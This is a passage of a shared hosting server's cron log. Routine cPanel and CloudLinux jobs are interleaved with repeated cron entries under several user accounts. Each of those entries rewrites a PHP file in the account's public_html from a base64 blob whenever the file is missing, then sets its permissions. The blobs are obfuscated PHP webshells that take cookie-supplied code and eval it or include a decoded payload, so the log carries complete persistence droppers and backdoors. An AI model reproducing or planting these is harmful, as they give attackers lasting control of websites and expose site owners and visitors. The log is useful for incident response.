"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:50:01 medusa CROND[21069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:50:01 medusa CROND[21071]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:50:01 medusa CROND[21072]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:50:01 medusa CROND[21076]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:50:01 medusa CROND[21080]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:50:01 medusa CROND[21081]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 05:50:01 medusa CROND[21084]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 05:50:01 medusa CROND[21077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:50:01 medusa CROND[21086]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:50:01 medusa CROND[21088]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:50:01 medusa CROND[21085]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:50:01 medusa CROND[21095]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:50:01 medusa CROND[21096]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:50:01 medusa CROND[21099]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 05:50:01 medusa CROND[21100]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 05:50:01 medusa CROND[21101]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:50:01 medusa CROND[21103]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:50:01 medusa CROND[21098]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 05:50:01 medusa CROND[21107]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:50:01 medusa CROND[21109]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 05:50:01 medusa CROND[21104]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:50:01 medusa CROND[21112]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:50:01 medusa CROND[21108]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:50:01 medusa CROND[21114]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:50:01 medusa CROND[21110]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 05:50:01 medusa CROND[21111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 05:51:01 medusa CROND[22965]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:51:01 medusa CROND[22966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:51:01 medusa CROND[22967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:51:01 medusa CROND[22968]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:51:01 medusa CROND[22969]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:51:01 medusa CROND[22970]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:51:01 medusa CROND[22971]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:51:01 medusa CROND[22973]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:51:01 medusa CROND[22974]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:51:01 medusa CROND[22975]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:51:01 medusa CROND[22976]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:51:01 medusa CROND[22979]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:51:01 medusa CROND[22981]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:51:01 medusa CROND[22983]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:51:01 medusa CROND[22982]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:52:01 medusa CROND[24754]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:52:01 medusa CROND[24760]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:52:01 medusa CROND[24761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:52:01 medusa CROND[24762]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAg